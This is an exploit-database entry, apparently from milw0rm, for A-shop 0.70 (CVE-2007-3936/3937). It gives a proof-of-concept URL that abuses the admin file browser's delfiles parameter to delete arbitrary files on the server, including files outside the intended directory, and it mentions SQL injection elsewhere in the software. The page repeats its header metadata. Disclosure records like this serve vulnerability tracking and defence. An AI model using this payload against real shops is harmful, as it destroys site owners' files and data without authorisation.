A-shop 0.70 - Remote File Deletion
| EKU-ID: 12155 | CVE: OSVDB-38303;CVE-2007-3937;OSVDB-38302;CVE-2007-3936 | OSVDB-ID: |
| Author: Timq | Published: 2007-07-18 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 12155 | CVE: OSVDB-38303;CVE-2007-3937;OSVDB-38302;CVE-2007-3936 | OSVDB-ID: |
| Author: Timq | Published: 2007-07-18 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
A-shop <=0.70 Multiple vulnerabilities Found Bug: Timq site:http://private-node.net email:timq@hushmail.com Vendor:http://www.rammdev.com/ashop/ PoC: http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server] It is possible to delete not only the files in the folders listed, but also ouside its directory. Also possible sql injections in other areas. # milw0rm.com [2007-07-18]